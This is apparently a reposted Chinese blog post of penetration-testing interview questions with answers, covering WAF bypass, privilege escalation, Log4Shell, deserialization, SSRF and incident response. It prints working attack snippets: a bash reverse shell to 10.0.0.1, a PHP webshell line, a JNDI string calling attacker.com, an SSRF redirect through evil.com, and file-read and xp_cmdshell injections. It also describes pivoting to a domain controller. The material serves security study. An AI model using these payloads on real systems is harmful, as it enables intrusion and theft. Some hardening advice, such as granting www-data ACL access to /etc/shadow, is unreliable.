2025年渗透测试面试题总结-01(题目+回答)

 安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

常见面试题

一、有趣的挖洞经历

二、高频漏洞及修复方案

三、渗透工具链及特点

四、WAF绕过技术

五、系统提权思路对比

六、开源组件高危漏洞精选

七、深度分析CVE-2021-44228 (Log4Shell)

八、反序列化漏洞原理

九、服务器入侵应急响应

十、SQL注入进阶利用

十一、中间件解析漏洞

十二、系统加固方案

十三、CDN真实IP发现

十四、渗透测试方法论

十五、反弹Shell选择

十六、SSRF攻防全景

十七、内网穿透工具

常见面试题

介绍一下自认为有趣的挖洞经历(或CTF经历)
你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案?
你平时使用哪些工具?以及对应工具的特点?
如果遇到waf的情况下如何进行SQL注入/上传Webshell怎么做?
谈谈Windows系统与Linux系统提权的思路?
列举出您所知道的所有开源组件高危漏洞
描述一个你深入研究过的 CVE 或 POC
php/java反序列化漏洞的原理?解决方案?
如果一台服务器被入侵后,你会如何做应急响应?
介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?
常见的中间件解析漏洞利用方式
Windows、Linux、数据库的加固降权思路
如何绕过CDN获取目标网站真实IP,谈谈你的思路
如果给你一个网站,你的渗透测试思路是什么? 
你实际的渗透测试经历等等
反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?
SSRF漏洞的成因 防御 绕过?
有哪些反向代理的工具,有没有实际的内网渗透经历?

一、有趣的挖洞经历

案例:某金融系统审计绕过+RCE
在一次授权测试中发现接口/api/v1/export存在逻辑缺陷:

  1. 漏洞链
    • 身份验证处Cookie: Role=guest → 篡改为Role=admin绕过权限校验
    • 参数filename=../../etc/passwd触发路径遍历(未过滤../
    • exportType参数拼接命令行执行:sh export_script.sh #{user_input} → 构造;id>/web/static/test.txt 实现RCE
  2. 利用过程
    通过写入计划任务获取反向Shell,最终控制业务服务器。
  3. 核心问题
    • 权限校验依赖客户端传参
    • 未对用户输入进行规范化处理

二、高频漏洞及修复方案

漏洞类型原理简述修复方案
SQL注入用户输入拼接到SQL语句预编译语句(PreparedStatement)
SSRF服务端发起未校验的请求白名单限制请求地址+协议禁用
反序列化恶意数据触发对象执行链签名校验+安全反序列化库
文件上传绕过类型/MIME检测文件内容检测+随机重命名

三、渗透工具链及特点

工具核心功能场景示例
Burp Suite流量拦截/重放/插件扩展Intruder爆破OAuth2令牌
Sqlmap自动化SQL注入检测--tamper=charencode绕WAF
Nmap端口扫描+服务指纹识别-sV -script=vuln漏洞扫描
CobaltStrike内网横向移动钓鱼攻击+权限维持

四、WAF绕过技术

SQL注入绕过

sql/*!50000SELECT*/ 1,2,3 FROM users WHERE id=1 UNION SELECT 1,@@version,3 
  • 技术组合
    1. 注释混淆:/*!xxxx*/ MySQL特性
    2. 空白符替代:%0a/%09替换空格
    3. 分块传输编码(Chunked)

上传Webshell绕过

  1. 双扩展名:shell.php.jpg
  2. 内容混淆:
    php<script language="php">system($_GET['cmd']);</script>
  3. .htaccess覆盖:
    AddType application/x-httpd-php .xyz 
    

五、系统提权思路对比

Windows提权

  1. 服务漏洞:sc config binPath劫持服务路径
  2. DLL劫持:替换高权限程序加载的DLL
  3. Token窃取:使用Incognito模仿SYSTEM令牌

Linux提权

  1. SUID滥用:find / -perm -4000 2>/dev/null
  2. 内核漏洞:dirtyc0w写/etc/passwd
  3. Cron任务:覆盖定时执行的脚本

六、开源组件高危漏洞精选

组件CVE-ID影响范围利用方式
Log4j2CVE-2021-44228<2.15.0${jndi:ldap://}
FastjsonCVE-2022-25845<1.2.83恶意JSON触发反序列化
Spring CloudCVE-2022-22963<3.1.3SpEL表达式注入

七、深度分析CVE-2021-44228 (Log4Shell)

漏洞原理

javalogger.error("${jndi:ldap://attacker.com/exp}"); // 触发JNDI解析
  1. 利用链
    Log4j解析日志 → 执行JNDI查询 → 加载远程恶意类 → RCE
  2. 补丁方案
    • 2.15.0+默认禁用JNDI
    • 设置参数-Dlog4j2.formatMsgNoLookups=true

八、反序列化漏洞原理

PHP示例

phpclass Vuln { public $cmd = "id"; function __destruct() { system($this->cmd); // 对象销毁时执行命令 } } unserialize($_GET['data']); // 传入O:4:"Vuln":1:{s:3:"cmd";s:10:"whoami";}

修复方案

  • 使用json_encode()替代序列化
  • 反序列化前校验签名

九、服务器入侵应急响应

  1. 隔离网络:拔网线或防火墙阻断
  2. 取证流程
    • Linux:dd if=/dev/sda1 of=/evidence.img
    • Windows:使用FTK Imager镜像内存
  3. 日志分析
    bashgrep -R 'Accepted password' /var/log/auth.log # 定位登录IP last -i # 查看登录历史
  4. 后门排查
    • 检查crontab/启动项
    • 对比rpm -Va(Linux)或sigcheck -a c:\windows\system32\*(Windows)

十、SQL注入进阶利用

非数据类利用

  1. 文件读取:
    sqlUNION SELECT LOAD_FILE("/etc/passwd"),1,1 
  2. 系统命令执行(需条件):
    sql; EXEC xp_cmdshell 'net user' -- (MSSQL)

防范方案

  • 输入过滤:禁用'"\等特殊字符
  • 最小权限:数据库账户仅授予SELECT权限

十一、中间件解析漏洞

中间件漏洞形式利用案例
IIS 6.0/test.asp;.jpg文件名分号截断
Apachetest.php.xxx从右向左解析后缀
Nginx%00.php空字节截断CGI路径

十二、系统加固方案

Linux降权

bashchmod 700 /usr/bin/python3 # 限制解释器执行权限 setfacl -m u:www-data:r-x /etc/shadow # ACL精细化控制

Windows加固

  • 禁用高危服务:net stop LanmanServer
  • 启用LSA保护:REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1

十三、CDN真实IP发现

  1. 历史解析记录
    bashcurl https://viewdns.info/iphistory/?domain=target.com 
  2. 证书探测
    bashopenssl s_client -connect target.com:443 | openssl x509 -text 
  3. 特殊子域名
    • mail.target.comdirect.target.com 常直连

十四、渗透测试方法论

mermaidgraph LR A[信息收集] --> B[漏洞扫描] B --> C{是否存在高危漏洞?} C -- 是 --> D[漏洞利用] C -- 否 --> E[业务逻辑测试] D --> F[权限提升] E --> G[横向移动] F --> H[数据获取] G --> H 

实际案例
某次从微信公众号接口发现未授权访问 → 获取员工手机号 → 撞库进入VPN → 内网Redis未授权 → 写入SSH密钥控制核心服务器。


十五、反弹Shell选择

首选命令

bashbash -c 'exec bash -i &>/dev/tcp/10.0.0.1/4444 <&1' # 纯bash实现 

优势分析

  • 无依赖外部命令(nc/python可能被删除)
  • 支持TCP/UDP全双工通信

十六、SSRF攻防全景

绕过技巧

  1. 302跳转:
    http://evil.com/redirect.php  → 指向内网地址 
    
  2. DNS重绑定:
    python# 配置TTL=0的A记录,交替返回内外网IP 

防御方案

  • 协议白名单:仅允许http/https
  • 禁用重定向:curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false)

十七、内网穿透工具

工具协议特点
frpTCP/HTTP多级代理支持KCP加速
ngrokHTTP/TLS自动生成域名+HTTPS
reGeorgHTTP/S基于Websocks的隧道

内网渗透实例
通过Web漏洞获取DMZ区服务器 → 上传reGeorg代理脚本 → 使用Proxychains全局代理 → 扫描192.168.1.0/24网段 → 发现SMB共享漏洞(MS17-010) → 控制域控服务器。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/2721.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C++(线程)

一、线程1、线程构造函数类模板原型&#xff1a;template <class Fn, class... Args>explicit thread (Fn&& fn, Args&&... args);1&#xff09;thread&#xff08;线程的构造函数&#xff09;格式&#xff1a;#include <thread>thread 线程名(回调…

cf.训练

1. Buying Lemonade Buying Lemonade 解题思路&#xff1a; 排序&#xff1a;将插槽的罐数 a 从小到大排序&#xff08;sort(a, an)&#xff09;。 特殊情况处理&#xff1a; 若最小罐数足够大&#xff08;a[0] > k/n 且 k%n0&#xff09;或 k1&#xff0c;直接输出 k&…

JAVA无人共享球杆柜系统球杆柜租赁系统源码支持微信小程序

JAVA无人共享球杆柜系统&#xff1a;物联网小程序打造高尔夫租赁新体验市场机遇与行业痛点1. 高尔夫球杆租赁市场蓝海市场规模快速增长&#xff1a;2023年中国高尔夫球杆行业市场规模达到14.77亿元&#xff0c;预计2024年将突破15.75亿元。全球高尔夫装备市场2024年达到132.6亿…

uniapp Android App集成支付宝的扫码组件mPaaS

第一步&#xff0c;设置包名&#xff0c;下载插件导项目中 在manifest.json中添加package, 设置完指定的包名后&#xff1a;Hbuilderx打包时包名也会变化 变成 下载插件导项目中&#xff0c; 第二步&#xff1a;进入阿里云mPaas后台完成代码配置&#xff0c;下载配置文件http…

Effective C++ 条款22: 将成员变量声明为private

Effective C 条款22&#xff1a;将成员变量声明为private核心思想&#xff1a;始终将成员变量声明为private&#xff0c;通过函数接口控制访问&#xff0c;提供封装弹性、精确访问控制和一致性维护点。 ⚠️ 1. 公开成员的致命缺陷 数据一致性破坏&#xff1a; class AccessPoi…

Java基础-斗地主游戏

目录 案例要求&#xff1a;​ 实现思路&#xff1a; 代码&#xff1a; Main启动类&#xff1a; Card实体类&#xff1a; Room操作类&#xff1a; 总结&#xff1a; 案例要求&#xff1a; 实现思路&#xff1a; 1构造卡牌,细节&#xff1a;实体类另设一个int类型变量表示…

基于Java的AI/机器学习库(Smile、Weka、DeepLearning4J)的实用

基于Java和AI技术处理动漫视频 以下是一些基于Java和AI技术处理动漫视频(如《亚久斗》)的实用案例和实现方法,涵盖视频分析、风格转换、角色识别等方向。每个案例均提供技术思路和关键代码片段。 视频关键帧提取 使用OpenCV提取动漫视频中的关键帧,保存为图片供后续分析…

Qt 自动无法加载数据库为空

解决方式:main() 中设置QDir::setCurrent(QCoreApplication::applicationDirPath());即可 1、开机自启 void setAutoStart(bool enable) {QSettings settings("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", QSettings::NativeFormat);QS…

vue3指定设置了dom元素的ref但是为null问题

目录 问题场景 ​编辑问题原因 解决方案 问题场景 可以看到我指定了元素的ref&#xff0c;正常来说在组件挂载完毕后可以通过ref.value正常获取到dom元素 但是实际打印出来为null 问题原因 根本原因就是v-if指令的问题&#xff0c;v-if指令能够控制元素是否渲染&#xff0…

控制建模matlab练习08:根轨迹

此练习主要是&#xff1a;在matlab中绘制根轨迹的方法。 一、在matlab中建立对应系统 1、例如&#xff0c;对于如图的反馈系统。 2、其中开环传递函数G(s)、闭环传递函数Gcl(s)。3、因此&#xff0c;其闭环传递函数的根轨迹&#xff0c;就可以直接在matlab中绘制出来。 4、直接…

深度学习中的三种Embedding技术详解

提纲背景介绍特征类型与Embedding方法1. ID类特征的Embedding处理1.1 标准Embedding方法1.2 IdHashEmbedding方法2. 数值型特征的Embedding处理2.1 RawEmbedding方法三种Embedding方法对比总结实践建议总结背景介绍 在深度学习领域&#xff0c;Embedding&#xff08;嵌入&…

前端开发(HTML,CSS,VUE,JS)从入门到精通!第四天(DOM编程和AJAX异步交互)

八、DOM 编程1&#xff0e;DOM&#xff08;Document Object Model&#xff09;,文档对象模型&#xff1a;将 HTM L文档进行模型化处理&#xff0c;形成一颗结构化的文档树&#xff0c;从而提供访问&#xff0c;修改文档的统一编程接口&#xff08;API&#xff09;&#xff0c;一…